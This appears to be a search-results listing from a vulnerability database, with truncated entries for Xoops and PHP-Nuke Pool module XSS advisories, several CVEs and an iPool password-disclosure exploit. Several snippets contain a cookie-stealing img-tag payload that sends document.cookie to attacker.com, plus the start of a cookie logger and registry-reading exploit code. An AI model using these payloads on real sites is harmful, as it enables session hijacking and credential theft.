6531 matches found
Php-Nuke Pool and News Module IMG Tag Cross Site
NightWarriorKurdihs Hacker nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c';...
Xoops Pool Module IMG Tag Cross Site Scripting
NightWarriorKurdihs Hacker nightwarrior771athotmail.com Xoops Pool Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c'; $ip = getenv...
xoopsXSS.txt
NightWarrior nightwarrior771athotmail.com Xoops Pool Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code:...
Xoops Pool Module - IMG Tag HTML Injection
Xoops Pool Module - IMG Tag HTML Injection source: https://www.securityfocus.com/bid/16189/info The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated...
PHP-Nuke News Submission Story - Text Field Cross-Site Scripting
source: https://www.securityfocus.com/bid/16192/info The PHPNuke Pool and News Modules are prone to an HTML injection vulnerability. This issue is due to a failure in the application modules to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-suppli...
Xoops Pool Module - IMG Tag HTML Injection
source: https://www.securityfocus.com/bid/16189/info The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script co...
DEBIAN-CVE-2005-2970
Memory leak in the worker MPM worker.c for Apache 2, in certain circumstances, allows remote attackers to cause a denial of service memory consumption via aborted connections, which prevents the memory for the transaction pool from being reused for other connections...
CVE-2005-2970
Memory leak in the worker MPM worker.c for Apache 2, in certain circumstances, allows remote attackers to cause a denial of service memory consumption via aborted connections, which prevents the memory for the transaction pool from being reused for other connections...
CVE-2004-1239
This CVE entry is rejected/not used and does not represent an active vulnerability entry.
CVE-2004-1240
This CVE entry is rejected and not used.
CVE-2004-1242
CVE-2004-1242 is rejected and not used per the Initial Description.
iPool 1.6.81 - Local Password Disclosure
iPool 1.6.81 - Local Password Disclosure / iPool include include HKEY hKey; define BUFSIZE 100 char prgfilesBUFSIZE; DWORD dwBufLen=BUFSIZE; LONG lRet; int main ifRegOpenKeyExHKEYLOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion", 0, KEYQUERYVALUE, &hKey == ERRORSUCCESS lRet =...
iPool 1.6.81 - Local Password Disclosure
/ iPool include include HKEY hKey; define BUFSIZE 100 char prgfilesBUFSIZE; DWORD dwBufLen=BUFSIZE; LONG lRet; int main ifRegOpenKeyExHKEYLOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion", 0, KEYQUERYVALUE, &hKey == ERRORSUCCESS lRet = RegQueryValueEx hKey, "ProgramFilesDir", NULL, NULL,...
CVE-2004-1241
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was in a CNA pool that was not assigned to any issues during 2004. Notes: none...
CVE-2004-1243
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was in a CNA pool that was not assigned to any issues during 2004. Notes: none...
CVE-2004-1240
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was in a CNA pool that was not assigned to any issues during 2004. Notes: none...
CVE-2004-1242
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was in a CNA pool that was not assigned to any issues during 2004. Notes: none...
CVE-2004-1758
BEA WebLogic Server and WebLogic Express version 8.1 up to SP2, 7.0 up to SP4, and 6.1 up to SP6 may store the database username and password for an untargeted JDBC connection pool in plaintext in config.xml, which allows local users to gain privileges...
CVE-2001-0710
CVE-2001-0710 affects NetBSD 1.5 and earlier and FreeBSD 4.3 and earlier. A remote attacker can trigger a denial-of-service by sending a large number of IP fragments, which exhausts the system’s mbuf pool. The underlying issue is in the IP fragmentation handling that allows fragmentation flood to...
